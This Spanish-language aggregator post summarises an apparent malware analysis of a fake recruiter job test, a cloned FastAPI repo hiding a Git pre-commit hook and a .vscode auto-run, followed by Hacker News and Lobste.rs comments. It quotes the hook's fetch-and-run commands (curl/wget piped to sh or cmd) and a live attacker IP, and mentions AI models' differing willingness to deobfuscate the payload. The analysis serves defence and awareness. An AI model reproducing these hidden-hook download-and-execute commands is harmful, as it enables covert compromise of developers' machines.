2 puntos por GN⁺ 2 시간 전 | 2 comentarios | Compartir por WhatsApp
  • Un falso reclutador en LinkedIn ofreció un puesto remoto de desarrollador Python por $10,000~15,000 al mes y envió un archivo ZIP disfrazado de una tarea normal de FastAPI, preparado para instalar malware durante el flujo de trabajo con Git
  • En .git/hooks del repositorio estaba oculto un hook pre-commit que ejecutaba silenciosamente cargas remotas según el sistema operativo, y las tareas de Git del PDF estaban diseñadas para inducir al candidato a ejecutarlo
  • La carga para Linux descargaba un script de segunda etapa en ~/Documents, lo ejecutaba con nohup, y luego instalaba Node.js, sus dependencias y un parser.js ofuscado para correrlo en segundo plano
  • Al cambiar el valor id=402 de la solicitud, se devolvía un script distinto; package.json incluía clipboardy para acceso al portapapeles y el entorno de desarrollo de Ethereum hardhat, pero el objetivo final no pudo confirmarse
  • Los atacantes solo añadieron directorios maliciosos a un repositorio público de FastAPI; otra variante ejecutaba comandos con solo abrir la carpeta en VSCode. Antes de trabajar con proyectos externos, hay que revisar directorios ocultos y configuraciones de autoejecución

Una oferta laboral demasiado buena

  • La propuesta de empleo para desarrollador Python llegó por LinkedIn y ofrecía un contrato remoto con $10,000~15,000 al mes, con posibilidad de pasar a tiempo completo después
  • Revelar una compensación tan alta antes siquiera de una entrevista fue la primera señal de alerta, especialmente por tratarse de una suma muy grande en India
  • Se confirmó que la empresa usada en el reclutamiento era una startup de Y Combinator, pero quedó la duda de que una empresa con ese presupuesto normalmente tendría un proceso de contratación más estructurado
  • Tras enviar el CV, la aprobación llegó de inmediato y se recibió por Google Drive un archivo ZIP junto con un PDF con las instrucciones de la prueba
  • El PDF pedía mejorar una base de código existente, proponer arquitectura y realizar tareas con Git, por lo que a primera vista parecía un documento de evaluación legítimo

Un hook de Git oculto en un proyecto FastAPI

  • El archivo comprimido contenía un backend de FastAPI aparentemente normal que usaba SQLAlchemy, y en requirements.txt no aparecían paquetes con typosquatting ni dependencias claramente maliciosas
  • Al ejecutar tree -a para revisar los elementos ocultos, aparecieron varios hooks de Git ya configurados bajo .git/hooks
  • El script pre-commit detectaba el sistema operativo con uname -s y luego descargaba y ejecutaba una carga por plataforma desde el mismo servidor
    • En macOS ejecutaba curl .../task/mac?id=402 | sh
    • En Linux ejecutaba wget .../task/linux?id=402 | sh
    • En Windows ejecutaba curl .../task/windows?id=402 | cmd
  • Toda la salida se redirigía a /dev/null y el proceso se enviaba al fondo para ocultar al usuario cualquier rastro de ejecución
  • En vez de un dominio, usaba directamente la IP 45.61.164.38:5777, lo que hizo que la actividad maliciosa resultara aún más evidente

La carga multietapa en Linux

  • El primer script para Linux descargaba tokenlinux.npl en ~/Documents, le cambiaba el nombre a tokenlinux.sh y le daba permisos de ejecución
  • Después lo lanzaba con nohup bash en segundo plano para que siguiera funcionando incluso tras cerrar la terminal o cerrar sesión
  • El script de segunda etapa realizaba en silencio las siguientes acciones
    • Instalar Node.js y configurar la ruta del sistema
    • Descargar parser.js y package.json
    • Instalar las dependencias necesarias de npm
    • Ejecutar parser.js con nohup node y guardar los logs en parser.log
  • parser.js estaba fuertemente ofuscado, al punto de dificultar el análisis manual, y el archivo original se conserva en parser.js

Posible identificación por víctima

  • En el endpoint se enviaba repetidamente el parámetro id=402, y al cambiar ese valor se devolvía un script completamente distinto
  • Es posible que los atacantes asignaran un identificador único a cada candidato para entregar cargas personalizadas, aunque no se pudo confirmar el mecanismo real de rastreo
  • Se ingresó el código en varios LLM para intentar desofuscarlo, pero los resultados fueron dispares
    • Claude se negó a analizarlo por restricciones de seguridad
    • Gemini sí entregó resultados del análisis del script
  • Al buscar la extensión original tokenlinux.npl, se confirmó su relación con una campaña de ataque más amplia

Dependencias sospechosas de Node.js

  • El nombre del proyecto en package.json era tokendapp e incluía hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request y otros paquetes
  • No estaba claro por qué una tarea de configuración en segundo plano necesitaría clipboardy para acceso al portapapeles y paquetes relacionados con el sistema de archivos
  • hardhat es un entorno de desarrollo para Ethereum, pero como Ethereum dejó atrás la prueba de trabajo, no se podía asumir fácilmente que fuera una configuración de minería típica
  • También se consideró la posibilidad de que buscara billeteras de criptomonedas o interactuara con extensiones locales del navegador, pero no se confirmó el objetivo malicioso final

Otra variante usando VSCode

  • Otra variante del mismo ataque ocultaba una carpeta .vscode dentro del ZIP y estaba preparada para ejecutar comandos al abrir ese directorio en VSCode
  • Con este método, la infección podía ocurrir con solo abrir la carpeta, sin necesidad de ejecutar comandos de Git ni correr directamente el código del proyecto
  • Se confirmó que cierta empresa no participó directamente en el ataque; los atacantes solo aprovecharon el nombre de una empresa real para que la oferta laboral pareciera legítima

Disfraz reutilizando un repositorio público

  • En git log permanecía intacto el historial de commits de desarrolladores previos, en lugar de mostrar un proyecto creado por los atacantes
  • El original era el repositorio público personal-finance-service
  • Los atacantes clonaron un proyecto legítimo de FastAPI y solo añadieron directorios ocultos maliciosos para hacerlo pasar por una base de código de prueba técnica
  • Era una estructura en la que revisar solo el código legítimo y un requirements.txt limpio podía hacer que el comportamiento malicioso pasara desapercibido

Investigación del servidor de ataque y sus límites

  • Un escaneo con Nmap al servidor atacante mostró 3 puertos abiertos, y 2 de ellos no respondían a la detección de versión
  • En el puerto 22 estaba corriendo OpenSSH 9.6p1 de Ubuntu
  • En el momento del escaneo, esa versión llevaba poco más de una semana publicada, así que no se encontraron CVE conocidos aprovechables y fue difícil profundizar la investigación dentro del servidor
  • Aunque la forma de distribuir el malware era llamativa, la seguridad operativa del servidor estaba relativamente bien mantenida, y la investigación se detuvo ahí

El papel de la tarea con Git

  • Las tareas con Git del PDF estaban diseñadas para hacer que el candidato ejecutara al menos un comando de Git y así activar el hook preinstalado
  • El falso reclutador aparentemente eliminó su cuenta de LinkedIn justo después de recibir el aviso de que el ataque había sido descubierto
  • Antes de ejecutar un proyecto desconocido o usar comandos de Git, conviene revisar con herramientas como tree -a los directorios ocultos y configuraciones de autoejecución como .git y .vscode

2 comentarios

 
GN⁺ 18 분 전
Opiniones en Lobste.rs
  • Al revisar la dirección IP indicada, 45.61.164.38, resulta que está alojada en AS14956 de RouterHosting, bajo Cloudzy, y no coincide con las listas de bloqueo de spam de wikis que suelo mantener abiertas.
    Parece que reportar el abuso podría ayudar.

    • Incluso 14 horas después, sigue operando igual y continúa distribuyendo el mismo malware.
  • Nunca he sido objetivo de una campaña de estafa personalizada; solo he recibido spam común y ofertas reales de empleo de baja calidad, así que me siento un poco decepcionado.
    Ni siquiera hubo phishing con un nivel medio de esfuerzo.

  • Las protecciones de Claude son demasiado molestas.
    Los usuarios realmente maliciosos tienen fuertes incentivos para evadirlas, pero los usuarios comunes que intentan entender el contenido quedan bloqueados con demasiada facilidad y no tienen motivos para seguir intentando.

  • Tras mucho tiempo buscando empleo, he pasado por todo tipo de situaciones absurdas, como que pidan trabajo gratis o intenten hackear a los candidatos, y este caso parece especialmente descarado.
    En general, rechazo las pruebas técnicas y la producción de trabajo gratis; en su lugar, presento un portafolio relevante en GitHub o en mi blog personal, o propongo implementar algo en tiempo real durante una sesión de pair programming.
    El portafolio evita la consultoría gratuita y muestra mi especialidad y experiencia concreta, conectándome con oportunidades más adecuadas; la implementación en vivo se parece a una entrevista técnica tradicional o a una conversación de diseño de sistemas.
    Si rechazan ambas opciones, aunque haya algunos falsos positivos, se filtran muchas más señales de riesgo reales, así que me salgo del proceso de entrevistas.
    Sigo el principio de: “si la prueba de mis capacidades no puede ser admitida como evidencia en el tribunal de esta organización, no quiero trabajar allí”.

  • Que un sitio web reproduzca música automáticamente sin permiso es muy molesto.
    Me tomó unos segundos encontrar el origen de la interrupción y Firefox me permitió silenciar la pestaña fácilmente, pero no debería ser algo que el usuario tenga que resolver en primer lugar.

  • Es un análisis interesante, pero seguir investigando en una máquina virtual dedicada justo después de descubrir el malware también me parece un enfoque con una alta tolerancia al riesgo.
    Incluso para un pentester experimentado, un descuido momentáneo puede causar daños importantes, así que un nivel de cautela casi paranoico puede ser realmente útil.

  • hardhat puede conectarse a un RPC remoto de Ethereum o ejecutar una bifurcación local simulada que consume muy pocos recursos.
    Los posibles objetivos parecen ser dos: robo de claves privadas de wallets desprotegidas y ataques de intermediario (MITM) contra hardware wallets.
    El primero es una técnica simple y común incluso en mods de Minecraft; si ya se obtuvo la clave privada, se puede atacar sin interacción del usuario, por lo que hardhat solo haría falta, como mucho, para probar la ejecución previa de transacciones.
    El segundo abusa de la estructura en la que una extensión del navegador propaga transacciones firmadas a través de un servidor RPC alojado.
    Mientras el usuario cree que está haciendo una transacción normal en un sitio web de confianza, el servidor RPC la reemplaza por una carga maliciosa y, si el usuario firma sin revisar correctamente el contenido en la hardware wallet, el atacante puede ejecutarla.

 
GN⁺ 2 시간 전
Opiniones de Hacker News
  • Solo después de leer este artículo me di cuenta de que me habían hackeado de una forma mucho más sofisticada
    Hace unas semanas entrevisté con el CTO de una empresa real; tenía la cámara apagada y un acento fuerte, pero la entrevista fue natural y parecía alguien con buen conocimiento técnico. En la entrevista técnica me pidió modificar el proyecto open source de la empresa, así que me dijo que clonara el repositorio y verificara el entorno de desarrollo
    Después, la persona de RR. HH. dijo que la entrevista se había pospuesto por una enfermedad del CTO, y unos días después también borraron el perfil de LinkedIn de esa persona. Tras ver este artículo, revisé y descubrí que el repositorio que había clonado y ejecutado durante la entrevista contenía una carga maliciosa
    Supongo que fui un objetivo porque antes administraba un paquete de NPM con más de 43 millones de descargas semanales. Ya tenía autenticación de dos factores en todas mis cuentas y también desplegaba el paquete de NPM manualmente sin tokens, pero aun así tuve que formatear la laptop e instalar todo de nuevo

    • Al revisar el calendario vi que había sido una entrevista de 45 minutos agendada por Calendly, y realmente hablé durante 45 minutos con alguien que se hizo pasar por el CTO a través del enlace que envió RR. HH.
      Busqué publicaciones parecidas en HN, pero no encontré ninguna donde el estafador hubiera llegado hasta una llamada por Google Meet
    • Rechazo cualquier solicitud de clonar un proyecto cualquiera tal cual. Soy desarrollador de Rails y puedo armar el esqueleto de una aplicación completa en minutos, así que digo que, si me dan los requisitos, la implemento yo mismo de principio a fin
      Si la empresa va en serio, lo considerará; y si se niega, mejor evitar el riesgo. Ahora que se usa ampliamente un LLM para generar código, creo que esto debería ser posible con cualquier stack técnico
    • En este entorno, parece necesario usar VS Code aislado en contenedores
    • Es curioso compartir las mismas redes sociales con gente que podría ser blanco de ataques dirigidos. A una persona común como yo solo le llegan estafas de “giros gratis” o del “multimillonario alemán moribundo”, y el asunto de correo más memorable fue “Perdón por arruinarte la vagina”
  • Parece que últimamente han aumentado los ataques norcoreanos dirigidos a desarrolladores. Además de estas tácticas que llevan años circulando, más o menos una vez por semana recibo correos de hackers norcoreanos diciendo “vi tu perfil, ¿te interesa colaborar?”
    En comunidades de programación en Discord también hay muchas cuentas que, a los pocos días de entrar, piden trabajo o colaboración. Puede que algunos sí busquen empleo de verdad, pero la cantidad y similitud de los mensajes es sospechosa, y el hecho de que lleguen incluso a comunidades de librerías de Python poco conocidas y con casi nada de actividad sugiere que están raspando listados de comunidades de Discord y contactando a cualquiera
    Como cada vez hay más ataques que explotan la confianza entre personas, hace falta seguir el consejo de nuestros padres: no confiar en desconocidos en internet

    • Ahora además usan LLM para generar conversaciones básicas naturales, así que ya no es tan fácil descartarlos de inmediato como bots, como antes
  • Se sigue repitiendo esta táctica de identificar el sistema operativo de la víctima y luego ejecutar en secreto una carga remota, y el mes pasado también llegó a portada una publicación similar
    https://news.ycombinator.com/item?id=48546294

    • El texto original también lo dice explícitamente y hasta enlaza resultados de Google que muestran lo mismo
  • Una dirección IP sin procesar da una fuerte impresión de malware, pero si la víctima ya revisó con suficiente detalle como para inspeccionar el contenido del hook, no se va a quedar tranquila solo por eso. La mayoría de los desarrolladores ni siquiera pensaría que git commit puede ejecutar acciones maliciosas, y me pregunto si eso es una debilidad de seguridad de Git

    • Si solo clonas un repositorio, los hooks de Git no se activan automáticamente. Pero esta vez no fue una clonación sino un proyecto descargado, así que la situación es distinta
    • Sin importar qué herramienta uses, hoy en día ya es riesgoso ejecutar código descargado sin revisarlo
  • Lo único que quedó claro es que, por todas sus protecciones, Claude fue totalmente inútil como asistente

  • Usar una IP sin procesar puede haber sido para no dejar datos de identidad en un registrador de dominios o para minimizar el rastro en línea

    • Por eso las direcciones IP sin procesar parecen estar tan asociadas con actividades sospechosas
    • También es posible que esos hosts estén infectados con malware y ahora sean sistemas abusados como proxies
  • La mayoría de las capturas no abrían directamente y tuve que verlas en una pestaña nueva
    Esta estafa es bastante ingeniosa y probablemente ya atrapó a muchos buscadores de empleo; además, el proyecto de Visual Studio Code que aparece en el artículo se ve todavía más peligroso. Si con solo abrir el proyecto ya se ejecuta código del usuario, eso es claramente una vía de malware y hace falta una mitigación de seguridad
    La respuesta de los sitios de empleo también es insuficiente. Si alguien dice pertenecer a una empresa o institución, al menos deberían pedir comprobante de empleo, y bastaría con mostrar una gran advertencia en los mensajes de cuentas no verificadas para dificultar muchas estafas. Ahora mismo cualquiera puede afirmar experiencia laboral o estudios en cualquier empresa al azar

    • Parece que Microsoft olvidó la historia del malware de macros de Word y Excel que se ejecutaba automáticamente al abrir documentos
    • Todas las imágenes están alojadas en GitHub Pages, así que probablemente haga falta usar un CDN aparte
  • Da gusto ver una publicación sobre hackeos reales en la portada de Hacker News

    • En Hacker News, “hacker” significa otra cosa
      http://www.catb.org/jargon/html/H/hacker.html
      Se refiere a una persona que disfruta explorar la estructura detallada y los límites de los sistemas programables, especialmente comprender a fondo el funcionamiento interno de computadoras y redes. También significa alguien que no se queda en la teoría, sino que programa con pasión y, a veces, de forma obsesiva
  • Si LinkedIn se tomara en serio la prevención de fraudes, podría ofrecer verificación con correo corporativo al indicar el empleo actual. Si hacerlo obligatorio es demasiado, al menos podría permitir que los reclutadores que quieran demostrar legitimidad se verifiquen opcionalmente

    • LinkedIn ya agregó esta función en 2023 (https://news.linkedin.com/2023/april/linkedin-s-new-verifica...). Eso sí, poca gente hace realmente la verificación por correo, así que no tenerla no significa necesariamente que sea falso
    • Mis amigos y yo llevamos años atrayendo reclutadores y empresas con perfiles falsos para averiguar qué puestos están abiertos y qué tipo de candidatos buscan. Fue especialmente útil para distinguir entre empresas/reclutadores legítimos y estafadores cuando explotaron los frameworks de JavaScript
      Incluso ahora, probablemente esté pasando algo parecido apuntando al mercado laboral de IA y a la demanda de LLM y automatización
  • Este tipo de ataques probablemente será cada vez más común. Los atacantes investigaron a fondo y el método es perverso, pero hay que reconocerles cierta solidez técnica, y creo que su tasa real de éxito también debe ser bastante alta

    • Ver cómo estaba hecho por dentro fue divertido, casi como un reto de CTF. Habría sido aún más interesante si hasta el servidor de los atacantes hubiera tenido alguna vulnerabilidad
    • Puede que su técnica simplemente haya sido tomada prestada de un LLM